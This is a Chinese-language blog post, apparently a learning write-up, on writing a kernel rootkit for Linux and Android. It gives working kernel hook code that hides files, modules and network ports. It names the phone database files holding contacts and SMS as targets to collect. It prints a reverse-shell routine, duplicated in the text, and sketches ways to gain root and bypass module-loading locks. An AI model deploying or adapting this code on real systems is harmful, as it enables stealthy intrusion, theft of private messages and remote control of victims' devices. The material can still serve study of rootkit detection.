最近又学习了一下，感觉还有好多东西不知道，以后积累多一点再从新写一个。
在android上捣鼓了一下linux的内核rootkit，虽然中途遇到了无数坑，至今也没有完全写完，打算先好好啃一段时间linux内核，和理解一下android的linux内核的安全机制再继续写。但还是收获不小，想分享一下学习的一点小心得。
一个完整的内核rootkit大致可分为3个部分，分别为一：自身隐藏，二：信息收集，三：系统攻击。本文也打算从这三方面入手，其中自身隐藏和pc端大体一致。鉴于pc比android运行方便，就直接在pc上进行测试了，对于系统攻击来说，脑洞越大，攻击方式就越多，思路就越广。当然，由于作者的水平有限，中有错误，敬请指教。
一：自身隐藏
从信息隐藏开始，一个优秀的内核rootkit应该潜伏在系统的角落就像古代的刺客一般，无声无息，。至少需要做到以下几点:
一：文件隐藏
二：内核模块隐藏
三：端口隐藏
四：进程隐藏
简单粗暴的隐藏方法是直接hook系统调用表（sys_call_table），一方面，由于不少anti-rootkit会检测sys_call_table，另一方面，用这个方法就少了很多理解linux的机会。所以，打算换一种方式来进行hook，hook 函数api。
在笔者眼中，hook 函数基本就是先缕清实现功能的函数的具体工作流程，找到hook点，这个hook点基本是一个数据结构里的指针，然后想办法得到这个数据结构的实例，将
这个指针替换成的自己编写的函数的地址。
1.实现文件隐藏。新版本和老版本在实现ls时有一定的区别。老版本（以2.6.11为例）调用的是file_operation->readdir(),而新版本（以4.4.20为例）file_operation->iterator(),分别对两者的hook实现进行分析，更能加深对hook的理解。先看老版本，直接看源代码，file_operations的数据结构位于/include/linux/fs.h
在/fs/（$fs文件系统格式)/dir.c中，file_operation->readdir进行赋值，大致的调用流程为sys_getdents->ext4_readdir(readdir所赋值得函数）--ext4_dx_readdir在其中用filldir_t输出缓冲。所以，可以直接hook readdir,在hook_readdir里面替换了filldir函数。
int hook_readdir(struct file filp,void * buffer,filldir_t filldir) { real_filldir = filldir; return real_readdir( filp, buffer,fake_filldir); } int fake_filldir(void * __buf, const char * name, int namlen, loff_t offset,u64 ino, unsigned int d_type) { if (strcmp(name, SECRET_FILE) == 0) { printk("Hiding: %s", name); return 0; } return real_filldir(__buf, name, namlen, offset, ino, d_type); }
然后需要找到file_operation的实例，并进行hook简化代码如下：
filp = filp_open(path, O_RDONLY, 0); f_op = (struct file_operations *)filp->f_op; old = f_op->op; disable_write_protection(); f_op->op = new; enable_write_protection();
于是乎，便完成了基本的文件隐藏。
在看一下新版本的文件隐藏，直接看源代码：
在新版中，是调用了iterator函数，遗憾的是，不能直接看到filldir函数，直接分析函数流程sys_getdents->ext4_readdir(readdir所赋值得函数）->ext4_dx_readdir，由于参数改变，内部实现有变化，经过很多阶段，会发现，dir_context->actor就是我们需要的filldir函数，所以，进行hook，简化代码如下：
int hook_iterate(struct file *filp, struct dir_context *ctx) { real_filldir = ctx->actor; *(filldir_t *)&ctx->actor = hook_filldir; return real_iterate(filp, ctx); } int hook_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) { if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) { fm_alert("Hiding: %s", name); return 0; } return real_filldir(ctx, name, namlen, offset, ino, d_type); }
两者的函数实现虽然略有不同，但是hook的机理却相似。
2：实现内核模块隐藏
传统的内核模块隐藏大致可以分为两部分其一：针对lsmod命令进行隐藏，基本逻辑是insmod在进行加载的时候会将自己的信息struct module结构体相关联，而所有的内核模块都被维护在一个全局链表中，lsmod通过对这个链表进行遍历来输出所有的模块信息，所以直接将模块进行删除就可以了，linux内核自带这个函数，函数为list_del_init，定义于include/linux/list.h中，我们可以看下它的实现：
static inline void list_del_init (struct list_head * entry)
{
__list_del (entry->prev, entry->next);
INIT_LIST_HEAD (entry);
}
static inline void __list_del (struct list_head * prev, struct list_head * next)
{
next-> prev = prev;
prev-> next = next;
}
static inline void INIT_LIST_HEAD (struct list_head * list)
{
list-> next = list;
list-> prev = list;
}
其二，为针对/sys/module/的隐藏
sys目录下挂在的是sysfs文件系统，sysyfs是一个处于内存的虚拟文件系统，为我们提供kobject对象层次结构，是我们以一个简单文件系统的方式观察各种设备的拓扑结构，其中modules里就包含所有的模块信息，而在sysfs系统中，它和kobject紧密相关，可用kobject_add和kobject_del函数进行增加和删除，具体代码代码如下：
void kobject_del(struct kobject *kobj) { struct kernfs_node *sd; if (!kobj) return; sd = kobj->sd; sysfs_remove_dir(kobj); sysfs_put(sd); kobj->state_in_sysfs = 0; kobj_kset_leave(kobj); kobject_put(kobj->parent); kobj->parent = NULL; } int kobject_add(struct kobject *kobj, struct kobject *parent, const char *fmt, ...) { va_list args; int retval; if (!kobj) return -EINVAL; if (!kobj->state_initialized) { printk(KERN_ERR "kobject '%s' (%p): tried to add an " "uninitialized object, something is seriously wrong. ", kobject_name(kobj), kobj); dump_stack(); return -EINVAL; } va_start(args, fmt); retval = kobject_add_varg(kobj, parent, fmt, args); va_end(args); return retval; }
以上便是比较比较流行有效的方法，当然，也有它的缺陷，比如无法卸载：
测试代码如下：
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int hook_init(void) { list_del_init(&__this_module.list); kobject_del(&THIS_MODULE->mkobj.kobj); printk("module loaded "); return 0; } static void hook_exit(void) { printk("module removed "); } module_init(hook_init); module_exit(hook_exit);
所以，可以用hook函数的方法来进行隐藏，浏览内核源码，我们可以发现， /proc/modules 的实现位于kernel/module.c ， 并且主要的实现函数是m_show 。搜索m_show
,可以发现函数是被赋值给seq_operations->show(),
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
直接搜索调用，发现只有module_open()调用了该数据结构，进入该函数观察：
int seq_open(struct file *file, const struct seq_operations *op) { struct seq_file *p; WARN_ON(file->private_data); p = kzalloc(sizeof(*p), GFP_KERNEL); if (!p) return -ENOMEM; file->private_data = p; mutex_init(&p->lock); p->op = op; #ifdef CONFIG_USER_NS p->user_ns = file->f_cred->user_ns; #endif file->f_version = 0; file->f_mode &= ~FMODE_PWRITE; return 0; }
意思大致是file->private_data->op = op,而op包含了show函数，得到file->private_data->op的实例，对其进行hook，简化代码如下
filp = filp_open(path, O_RDONLY, 0); seq = (struct seq_file *)filp->private_data; seq_op = (struct seq_operations *)seq->op; old = seq_op->show; disable_write_protection(); seq_op->show = new; enable_write_protection();
三：隐藏端口
端口隐藏和模块类似，粗略写一下，lxr里直接找show函数，以tcp为例，发现在net/ipv4/tcp_ipv4中，数据结构tcp4_seq_afinfo中show被tcp_seq_show赋值，查找tcp4_seq_afinfo，然后经过几轮跟踪，最后在proc_create_data中被赋值给proc_dir_entry->data,利用宏afinfo=PED_DATA(filp->f_path.dentry->i_inode)
filp = filp_open(path, O_RDONLY, 0); afinfo = PDE_DATA(filp->f_path.dentry->d_inode); old = afinfo->seq_ops.op; afinfo->seq_ops.op = new; filp_close(filp, 0);
基本功能实现代码为：
int fake_seq_show(struct seq_file *seq, void *v) { int ret; char needle[NEEDLE_LEN]; snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT); ret = real_seq_show(seq, v); if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) { fm_alert("Hiding port %d using needle %s. ", SECRET_PORT, needle); seq->count -= TMPSZ; } return ret; }
四：进程隐藏
根据linux一切即文件，直接hook /proc目录即可，略。
二：信息收集
android手机的数据都在/data/data里面，其中通讯录位置在/data/data/com.providers.contacts/databases/contacts2.db，短信信息是在./data/data/com.android.providers.telephony/databases/mmssms.db，至于想怎么玩，看你们自己的喽。
三：系统攻击
只是提供一些思路和一些尝试。
首先，当然要先建立一个reverseshell，这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码：
void reverseshell ()
{
static char *path = "/data/local/shell";
char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
static char *envp[] =
{ "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
call_usermodehelper (path, argv, envp, 1);
}
当然，如果手机没有root，自然没办法insmod，可以想办法先把手机root掉。这个方面可以利用一些的linux提权的exp。从网上找，或者直接逆向市场上的一键root软件，直接提取exp，又或者自己挖0day（偷笑），写exp，下面提供几个最近的cve提权漏洞的编号，下一篇文章可能会谈论这方面的东西。有兴趣也可以自己看分析文章CVE-2015-1805（数组越位漏洞，exp没怎么看懂），CVE-2015-3636（UAF漏洞，去年挺有名的一个漏洞，也很好用），CVE-2015-3636（UAF导致的整数溢出，说真的，实用价值不高，有人测试，i7电脑都要跑半个小时，手机。。。不说了）。
然后看一下怎么绕过modules_disaled:先看一下在/kernel/modules.c关于这一机制的源码：
SYSCALL_DEFINE3(init_module, void __user *, umod, unsigned long, len, const char __user *, uargs) { int err; struct load_info info = { }; err = may_init_module(); if (err) return err; pr_debug("init_module: umod=%p, len=%lu, uargs=%p ", umod, len, uargs); err = copy_module_from_user(umod, len, &info); if (err) return err; return load_module(&info, uargs, 0); }
可以看到，初始化模块的系统调用（和其他系统调用像delete_module / finit_module /）将在允许模块进行之前先进行modules_disaled判定。那么，我们如何绕过这个问题呢？首先，先看看其他不依赖这些系统调用的模块加载，但是这些只用于启动或者做一些用户数据无法抵达的函数调用。所以，最好的思路就是想办法改掉modules_disbled的值。
Mathew Garrett在2013年在linux邮件列表上发了一遍文章，他提出了12种不同的方法：
1：利用kexec函数：kexec是linux内核的一个特性，允许在运行时替换内核。
不得不说kexec是一个很神奇的函数，它是linux内核的特性，允许在运行时替换内核。
原理如下：kexec系统调用接口取得段列表（指向用户缓存和预期目标）和入口指针，内核重定位这些段并跳到入口指针所指的地址，由于这个地址上两 个内核代码之间，所以被称为purgatory。purgatory主要作用是设置第二个内核代码的环境，并调转到第二个内核之中,而第一个内核根本不知 道第二个内核发生了什么，而你就能在第二个内核里加载任何东西了。详情参考http://mjg59.dreamwidth.org/28746.html 。
2：利用cve-2013-0368：
cve是这样描述的"Linux kernel 3.7.6之前版本中的arch/x86/kernel/msr.c中的msr_open函数中存在漏洞。以root权限执行特制的应用程序如msr32.c，本地攻击者利用该漏洞绕过预期的功能限制。"
现在可以看一下攻击了，说到攻击，肯定要建立一个reverseshell，这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码：
void reverseshell () { static char *path = "/data/local/shell"; char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me static char *envp[] = { "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL }; call_usermodehelper (path, argv, envp, 1); }
其它的技术有限，日后再说吧！